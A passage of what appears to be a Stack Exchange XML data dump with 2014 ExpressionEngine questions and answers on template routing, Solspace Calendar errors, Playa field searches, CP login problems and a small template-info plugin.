luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1336" LastActivityDate="2014-12-24T06:23:23.607" Title="The action you have requested is invalid on search with no result" Tags="|search|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21598" PostTypeId="1" CreationDate="2014-05-01T10:57:05.357" Score="-3" ViewCount="58" Body="&lt;p&gt;I have lots of unescaped ampersands in this form. How can I fix this so I can validate my page as html5&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="197" LastEditDate="2014-05-02T15:13:09.973" LastActivityDate="2014-05-02T15:40:53.437" Title="mightybigrobot profile:Edit forms are not valid html" Tags="|profile-edit|validation|mightybigrobot|" AnswerCount="1" CommentCount="5" ClosedDate="2014-05-04T02:07:39.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="21599" PostTypeId="1" AcceptedAnswerId="21938" CreationDate="2014-05-01T12:50:28.547" Score="6" ViewCount="1825" Body="&lt;p&gt;So I just migrated from my dev server to the production server and I can see the site and CP login page fine. However, trying to login I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;An Error Was Encountered&lt;/strong&gt;&#xA;This form has expired. Please refresh and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've Google'd around a bit but can't figure this one out yet. DB, server and browser cache all clear. Anyone had this before?&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2014-05-14T08:55:09.433" Title="Can't login to CP – form has expired" Tags="|control-panel|error|login|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21600" PostTypeId="2" ParentId="21597" CreationDate="2014-05-01T13:15:40.437" Score="1" Body="&lt;p&gt;Try to modify your no search results parameter to include the index template of that group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;no_result_page=&quot;search/index&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parameter should include the template group and template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html#no-result-page&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html#no-result-page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-01T13:15:40.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21602" PostTypeId="2" ParentId="21508" CreationDate="2014-05-01T13:53:34.500" Score="1" Body="&lt;p&gt;The best solution ended up being Snaptcha: &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/snaptcha&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was originally thinking I'd add a custom field to Composer the same way you add EE's default captcha, but with snaptcha it automatically adds itself inside your form tag and (I assume) just works. Really convenient: just enable and all of your forms get it.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-01T13:53:34.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21603" PostTypeId="2" ParentId="21593" CreationDate="2014-05-01T14:30:08.740" Score="1" Body="&lt;p&gt;EDIT: I created a plugin to help if you want. &#xA;   &lt;a href=&quot;http://devot-ee.com/add-ons/if-template-exists&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/if-template-exists&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do so with the query module (keep in mind your database prefixes may be different than &quot;exp_&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{query sql=&quot;SELECT &#xA;                exp_templates.template_id&#xA;                FROM `exp_templates`&#xA;                LEFT JOIN `exp_template_groups`&#xA;                   ON exp_template_groups.group_id = exp_templates.group_id&#xA;                WHERE exp_template_groups.group_name = 'foo'&#xA;                   AND exp_templates.template_name = 'bar'&#xA;                limit=1&quot;}&#xA;&#xA;    [code if template exists]&#xA;&#xA;    {if no_results} [code if template does not exist]{/if}&#xA;{/query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-05-02T15:38:42.500" LastActivityDate="2014-05-02T15:38:42.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21604" PostTypeId="2" ParentId="21569" CreationDate="2014-05-01T15:24:21.597" Score="0" Body="&lt;p&gt;This was a bug with the add on Publisher Lite. The developer provided me with a new build to fix it.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-05-01T15:24:21.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21606" PostTypeId="1" AcceptedAnswerId="21847" CreationDate="2014-05-01T16:03:52.207" Score="0" ViewCount="180" Body="&lt;p&gt;A client has reported a strange error in a Cart Throb site where the items that are added to the basket aren't being saved. This is only happening in IE11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything about cookies in IE11 that is &lt;em&gt;different&lt;/em&gt; to previous versions of IE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried logging into the site and this worked fine, retaining the cookies, but it still didn't hold items in the cart as I moved from page to page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.7.2. Cart Throb 2.4&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-05-11T15:55:16.490" Title="Cart Throb loses cart items in IE11" Tags="|cartthrob|internetexplorer|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="21607" PostTypeId="1" CreationDate="2014-05-01T18:29:47.360" Score="0" ViewCount="97" Body="&lt;p&gt;I have index template for my events like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--------------------------------------------------&#xA;              SHOW DAY LISTING&#xA;--------------------------------------------------}&#xA;{if segment_2==&quot;day&quot;}&#xA;{embed=&quot;events/_view-day&quot;}&#xA;&#xA;{!--------------------------------------------------&#xA;          SHOW THE SPECIFIC MONTH&#xA;--------------------------------------------------}&#xA;&#xA;{if:elseif segment_1==&quot;events&quot; AND segment_2==&quot;month&quot;}&#xA;{embed=&quot;events/_view-month&quot;}&#xA;&#xA;&#xA;{!--------------------------------------------------&#xA;          SHOW CALENDAR VIEW (index)&#xA;--------------------------------------------------}&#xA;&#xA;{if:elseif segment_2==&quot;cal&quot;}&#xA;{embed=&quot;events/calendar&quot;}&#xA;&#xA;{!--------------------------------------------------&#xA;              SHOW THE CURRENT MONTH&#xA;--------------------------------------------------}&#xA;{if:else}&#xA; {embed=&quot;events/_view-current-month}&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this exact, advanced calendar implementation on the 3rd rule here at /events/cal&#xA;&lt;a href=&quot;http://www.solspace.com/docs/calendar/month//#examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/month//#examples&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange thing is I'm using this template base for 5 sites. Only one of them is experiencing issues with the 500 error. My log has:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Thu May 01 11:35:35 2014] [warn] [client 174.59.51.74] mod_fcgid: read data timeout in 45     seconds, referer: http://figlancaster.com/events/month/06/2014&#xA;[Thu May 01 11:35:35 2014] [error] [client 174.59.51.74] Premature end of script headers: index.php, referer: http://figlancaster.com/events/month/06/2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried logging in as root and bumped up the settings per this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7467/mod-fcgid-read-data-timeout-in-45-seconds-premature-end-of-script-headers&quot;&gt;mod_fcgid: read data timeout in 45 seconds --&amp;gt; Premature end of script headers: admin.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, still no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the php memory limits for all the site using this template base is 256M&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? This is driving me nuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: My /events/calendar template. The only modification I made was the segments for the date range. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;fc_calendar&quot;&amp;gt;&#xA;        {exp:calendar:cal&#xA;        {if segment_3 == ''}&#xA;            date_range_start=&quot;year-month-01&quot;&#xA;            date_range_end=&quot;year-month-last&quot;&#xA;        {/if}&#xA;        {if segment_3 != &quot;&quot;}&#xA;            date_range_start=&quot;{segment_5}-{segment_4}-01&quot;&#xA;            date_range_end=&quot;{segment_5}-{segment_4}-last&quot;&#xA;        {/if}&#xA;        }&#xA;        {display_each_month}&#xA;&#xA;         &amp;lt;div id=&quot;month-header&quot;&amp;gt;&#xA;&#xA;     &amp;lt;div class=&quot;last_month&quot;&amp;gt; &#xA;           &amp;lt;a href=&quot;{path='/events/cal/month'}/{prev_month format=&quot;%m/%Y&quot;}/&quot;&amp;gt;&#xA;                            {prev_month format=&quot;%F&quot;}&#xA;                        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div style=&quot;float: left; width: 60%; text-align: center;&quot;&amp;gt;&#xA;               &amp;lt;h2&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div  class=&quot;next_month&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;{path='/events/cal/month'}/{next_month format=&quot;%m/%Y&quot;}/&quot;&amp;gt;&#xA;                            {next_month format=&quot;%F&quot;}&#xA;                        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;     &amp;lt;br style=&quot;clear:both&quot;&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                        &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;                            &amp;lt;table id=&quot;fc_inner&quot;&amp;gt;&#xA;                                &amp;lt;thead&amp;gt;&#xA;                                    &amp;lt;tr id=&quot;days_of_week&quot;&amp;gt;&#xA;                                        {display_each_day_of_week}&#xA;                                        &amp;lt;th class=&quot;day_of_week {day_of_week}&quot;&amp;gt;&#xA;                                            {day_of_week}&#xA;                                        &amp;lt;/th&amp;gt;&#xA;                                        {/display_each_day_of_week}&#xA;                                    &amp;lt;/tr&amp;gt;&#xA;                                &amp;lt;/thead&amp;gt;&#xA;                                &amp;lt;tbody&amp;gt;&#xA;                                    {display_each_week}&#xA;                                     &amp;lt;tr&amp;gt;&#xA;                                        {display_each_day}&#xA;                                        {if day_in_current_month}&#xA;                                            &amp;lt;td class=&quot;day_cell&quot;&amp;gt;&#xA;                                                &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;&#xA;                                                        {date format=&quot;%j&quot;}&#xA;&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                        {if:else}&#xA;                                            &amp;lt;td class=&quot;day_cell out_of_range&quot;&amp;gt;&#xA;                                                &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;                                                &amp;lt;span class=&quot;num&quot;&amp;gt;&#xA;                                                    {date format=&quot;%j&quot;}&#xA;                                                &amp;lt;/span&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;                                        {/if}&#xA;                                        {display_each_hour}&#xA;                                            {events}&#xA;                                                &amp;lt;div&#xA;                                                  class=&quot;&#xA;                                                    event {if event_all_day}all_day{/if}&#xA;                                                    {if event_multi_day}multi_day{/if}&#xA;                                                    {if event_first_day}first_day{/if}&#xA;                                                    {if event_last_day}last_day{/if}&#xA;                                                    {if all_day_event_index_difference &amp;gt; 0}&#xA;                                                        index_difference_{all_day_event_index_difference}&#xA;                                                    {/if}&#xA;                                                  &quot;&amp;gt;&#xA;                                                {if event_multi_day}&#xA;                                                    {if event_all_day == FALSE}&#xA;                                                        {if event_first_day}&#xA;                                                            {event_start_time}&#xA;                                                        {/if}&#xA;                                                        {if event_last_day}&#xA;                                                            {event_end_time}&#xA;                                                        {/if}&#xA;                                                    {/if}&#xA;                                                    &amp;lt;a href=&quot;{path='calendar/events'}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;                                                {if:else}&#xA;                                                    {if event_all_day == ''}&#xA;                                                        {event_start_date format=&quot;%g&quot;}&#xA;                                                        {if event_start_minute &amp;gt; 0}&#xA;                                                            :{event_start_minute}&#xA;                                                        {/if}&#xA;                                                        {if event_end_time != event_start_time &amp;amp;&amp;amp; event_end_time != '00:00'}&#xA;                                                            &amp;amp;ndash;&#xA;                                                            {event_end_date format=&quot;%g&quot;}&#xA;                                                            {if event_end_minute &amp;gt; 0}&#xA;                                                                :{event_end_minute}&#xA;                                                            {/if}&#xA;                                                            {event_end_date format=&quot;%a&quot;}&#xA;                                                        {if:else}&#xA;                                                            {event_start_date format=&quot;%a&quot;}&#xA;                                                        {/if}&#xA;                                                    {/if}&#xA;                                                     &amp;lt;a href=&quot;/events/view/{url_title}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;                                                {/if}&#xA;                                                &amp;lt;/div&amp;gt;&#xA;                                                {/events}&#xA;                                            {/display_each_hour}&#xA;                                        &amp;lt;/td&amp;gt;&#xA;                                        {/display_each_day}&#xA;                                    &amp;lt;/tr&amp;gt;&#xA;                                    {/display_each_week}&#xA;                                &amp;lt;/tbody&amp;gt;&#xA;                            &amp;lt;/table&amp;gt;&#xA;&#xA;        {/display_each_month}&#xA;        {/exp:calendar:cal}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Non-working URL: &lt;a href=&quot;http://figlancaster.com/events/cal&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://figlancaster.com/events/cal&lt;/a&gt;&#xA;Note: This is a list view of the events I&quot;m attempting to load into the calendar. There are probably roughly 150 or so:&#xA;&lt;a href=&quot;http://figlancaster.com/events&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://figlancaster.com/events&lt;/a&gt;&#xA;Working URL loading the same template but less events: &#xA;&lt;a href=&quot;http://www.figbethlehem.com/events/cal&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.figbethlehem.com/events/cal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both sites are running EE v2.5.2 and Calendar 1.8.6&lt;/p&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-03T00:41:54.103" Title="Solspace calendar 500 error" Tags="|solspace-calendar|error-500|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21608" PostTypeId="2" ParentId="5311" CreationDate="2014-05-01T19:38:10.107" Score="5" Body="&lt;p&gt;Are you looking for something as straightforward as this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html id=&quot;template-{segment_1}-{if segment_2 != ''}{segment_2}{if:else}index{/if}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ah, I see you are wanting embeds as well. Here is a very simple plugin that will output some metadata for the template that is currently being processed.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;/*&#xA;Copyright (C) 2014 EllisLab, Inc.&#xA;&#xA;Permission is hereby granted, free of charge, to any person obtaining a copy&#xA;of this software and associated documentation files (the &quot;Software&quot;), to deal&#xA;in the Software without restriction, including without limitation the rights&#xA;to use, copy, modify, merge, publish, distribute, sublicense, and/or sell&#xA;copies of the Software, and to permit persons to whom the Software is&#xA;furnished to do so, subject to the following conditions:&#xA;&#xA;The above copyright notice and this permission notice shall be included in&#xA;all copies or substantial portions of the Software.&#xA;&#xA;THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR&#xA;IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,&#xA;FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL&#xA;ELLISLAB, INC. BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER&#xA;IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN&#xA;CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.&#xA;&#xA;Except as contained in this notice, the name of EllisLab, Inc. shall not be&#xA;used in advertising or otherwise to promote the sale, use or other dealings&#xA;in this Software without prior written authorization from EllisLab, Inc.&#xA;*/&#xA;&#xA;$plugin_info = array(&#xA;                        'pi_name'           =&amp;gt; 'Template Info',&#xA;                        'pi_version'        =&amp;gt; '1.0',&#xA;                        'pi_author'         =&amp;gt; 'Derek Jones',&#xA;                        'pi_author_url'     =&amp;gt; 'http://ellislab.com/',&#xA;                        'pi_description'    =&amp;gt; 'Outputs info for the currently processed template',&#xA;                        'pi_usage'          =&amp;gt; Template_info::usage()&#xA;                    );&#xA;&#xA;&#xA;/**&#xA; * Template_info Class&#xA; *&#xA; * @package         ExpressionEngine&#xA; * @category        Plugin&#xA; * @author          EllisLab Dev Team&#xA; * @copyright       Copyright (c) 2014, EllisLab, Inc.&#xA; * @link            http://ellislab.com/&#xA; */&#xA;&#xA;class Template_info {&#xA;&#xA;    public $return_data;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        $vars = array(&#xA;            'template_name' =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;template_name,&#xA;            'template_group' =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;group_name,&#xA;            'template_id' =&amp;gt; ee()-&amp;gt;TMPL-&amp;gt;template_id,&#xA;            'template_type' =&amp;gt; (ee()-&amp;gt;TMPL-&amp;gt;embed_type) ? ee()-&amp;gt;TMPL-&amp;gt;embed_type : ee()-&amp;gt;TMPL-&amp;gt;template_type&#xA;        );&#xA;&#xA;        $this-&amp;gt;return_data = ee()-&amp;gt;TMPL-&amp;gt;parse_variables(ee()-&amp;gt;TMPL-&amp;gt;tagdata, array($vars));&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;    /**&#xA;     * Usage&#xA;     *&#xA;     * Plugin Usage&#xA;     *&#xA;     * @access  public&#xA;     * @return  string&#xA;     */&#xA;    public function usage()&#xA;    {&#xA;        return &amp;lt;&amp;lt;&amp;lt;YODA&#xA;        Parses a few metadata variables about the template currently being processed.&#xA;&#xA;        {exp:template_info}&#xA;            This is the {template_name} template from the {template_group} group.&#xA;            Its ID is {template_id} and its type is {template_type}.&#xA;        {/exp:template_info}&#xA;YODA;&#xA;    }&#xA;&#xA;    // --------------------------------------------------------------------&#xA;&#xA;}&#xA;// END CLASS&#xA;&#xA;/* End of file pi.template_info.php */&#xA;/* Location: ./system/expressionengine/third_party/template_info/pi.template_info.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-05-01T19:58:08.133" LastActivityDate="2014-05-01T19:58:08.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21609" PostTypeId="2" ParentId="21317" CreationDate="2014-05-01T19:41:16.587" Score="1" Body="&lt;p&gt;It turned out it was being sent to my index.php page instead of my news.php page.  I put this in the config file and it worked&#xA;&lt;code&gt;$config['playa_site_index'] = &quot;/news.php&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2999" LastActivityDate="2014-05-01T19:41:16.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21610" PostTypeId="2" ParentId="21476" CreationDate="2014-05-01T20:42:23.090" Score="2" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; should be able to accommodate. Given a route rule to your &lt;code&gt;room_types/room&lt;/code&gt; template of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/room/{room:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;http://example.com/room/double_king&lt;/code&gt; would go to that template, and populate the &lt;code&gt;{segment:room}&lt;/code&gt; variable with &quot;double_king&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go to single segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/{room:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though the trick here is if you have other valid first segments that need to go elsewhere. You would set your routes in the order of most specific to least specific, so that if you wanted &lt;code&gt;http://example.com/book-it&lt;/code&gt; to go to another template, you'd want to create a route rule of &lt;code&gt;/book-it&lt;/code&gt; in a higher position.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditDate="2014-05-02T00:40:23.503" LastActivityDate="2014-05-02T00:40:23.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21611" PostTypeId="2" ParentId="20870" CreationDate="2014-05-01T21:30:52.820" Score="3" Body="&lt;p&gt;You actually can search on playa fields if you've ticked the &quot;Is field searchable?&quot; for the field. I believe the title or entry id of the related field can be used in the search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, both should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--with channel entries--}&#xA;{exp:channel:entries &#xA;    channel=&quot;your_channel&quot; &#xA;    search:playa_field_name=&quot;an_entry_id&quot;&#xA;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{!--with playa--}&#xA;{exp:playa:parents &#xA;    channel=&quot;your_channel&quot; &#xA;    search:playa_field_name=&quot;a_title_keyword&quot;&#xA;    field=&quot;playa_field_name&quot;&#xA;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-05-01T21:30:52.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21612" PostTypeId="2" ParentId="21591" CreationDate="2014-05-02T01:42:50.760" Score="0" Body="&lt;p&gt;&lt;strong&gt;Turn on Template Debugging in EE&lt;/strong&gt;. This will allow you to see if tags are parsed correctly and in the right order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Template Debugger, if you see the following, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_id=&quot;123&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...that means that your Playa code parses before &lt;code&gt;{exp:calendar:events}&lt;/code&gt;, and all is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see the following, as-is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_id=&quot;{tunnel_calendar}{entry_id}{/tunnel_calendar}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...that means that your Playa code &lt;strong&gt;isn't&lt;/strong&gt; parsed before &lt;code&gt;{exp:calendar:events}&lt;/code&gt;, in which case you'll need to rethink your EE parse order strategy (for example, passing the Playa entry_ids in an embed containing your &lt;code&gt;{exp:calendar:events}&lt;/code&gt; code. Really depends on the context). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Highly recommended read&lt;/strong&gt;: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-02T01:42:50.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21613" PostTypeId="2" ParentId="21592" CreationDate="2014-05-02T01:53:41.807" Score="0" Body="&lt;p&gt;You can use &lt;code&gt;{exp:calendar:calendars}&lt;/code&gt; to list calendars, and pass the &lt;code&gt;{calendar_id}&lt;/code&gt; to &lt;code&gt;{exp:calendar:events}&lt;/code&gt; or &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; to see if there are any event entries for that calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that there can be variables clashes with common variables such as {total_results}, {count}, etc, you will likely need to embed the &lt;code&gt;{exp:calendar:events}&lt;/code&gt; or &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example. In your template use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;something&quot;&amp;gt;&#xA;{exp:calendar:calendars}&#xA;  {embed=&quot;calendars/embed&quot; calendar_id=&quot;{calendar_id}&quot;}&#xA;{/exp:calendar:calendars}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in &lt;code&gt;/calendars/embed&lt;/code&gt;, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events calendar_id=&quot;{embed:calendar_id}&quot; date_range_start=&quot;12 months ago&quot; date_range_end=&quot;+12 months&quot;}&#xA;    {if no_results}&#xA;    {/if}&#xA;&#xA;    {if count == 1}&#xA;        [{calendar_id}] {calendar_title}&amp;lt;br /&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using a timeframe, with &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt;, large enough to cover your events is important, or else you only get a subset of the total events present for a calendar.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-02T01:53:41.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21614" PostTypeId="2" ParentId="21594" CreationDate="2014-05-02T02:09:22.300" Score="1" Body="&lt;p&gt;Since you're looking to display 3 previous events &lt;strong&gt;based on a chronological timeline&lt;/strong&gt;, you need to use &lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt;, not &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. The reason has been explain many times here on EESE, the old Solspace support forums, as well as summarized on this documentation page: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this is a good start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;   date_range_start=&quot;3 days ago&quot; &#xA;   date_range_end=&quot;today&quot; &#xA;   pad_short_weeks=&quot;n&quot;&#xA;   limit=&quot;3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this will give you three events/occurrences &lt;em&gt;starting from 3 days ago&lt;/em&gt;. I assume you want 3 events/occurrences &lt;em&gt;going back from today&lt;/em&gt;. In that case, you might need to create a PHP array, and pick the last three items in the array. Those would be the events/occurrences closest to your date_range_end.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-02T02:09:22.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21615" PostTypeId="1" AcceptedAnswerId="21616" CreationDate="2014-05-02T02:57:14.167" Score="0" ViewCount="28" Body="&lt;p&gt;I disabled the sending of notifications for comments because I created a custom solution that triggers when a user makes a comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get emails of the subscribers via the exp_comment_subscription table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would just connect the dots via the &lt;code&gt;member_id&lt;/code&gt; but I think I need to know what the &lt;code&gt;email&lt;/code&gt; field does before doing anything. &lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-05-02T04:37:31.010" Title="`email` field in exp_comment_subscription table" Tags="|comments|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21616" PostTypeId="2" ParentId="21615" CreationDate="2014-05-02T04:37:31.010" Score="1" Body="&lt;p&gt;The &lt;code&gt;email&lt;/code&gt; field is used for guest comments only. For registered and logged in members who comment, that field will be &lt;code&gt;NULL&lt;/code&gt;. So for a given &lt;code&gt;entry_id&lt;/code&gt;, you need to gather email addresses from the &lt;code&gt;exp_members&lt;/code&gt; table, as well as any values from the &lt;code&gt;email&lt;/code&gt; column if your site allows guests to comment.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-02T04:37:31.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
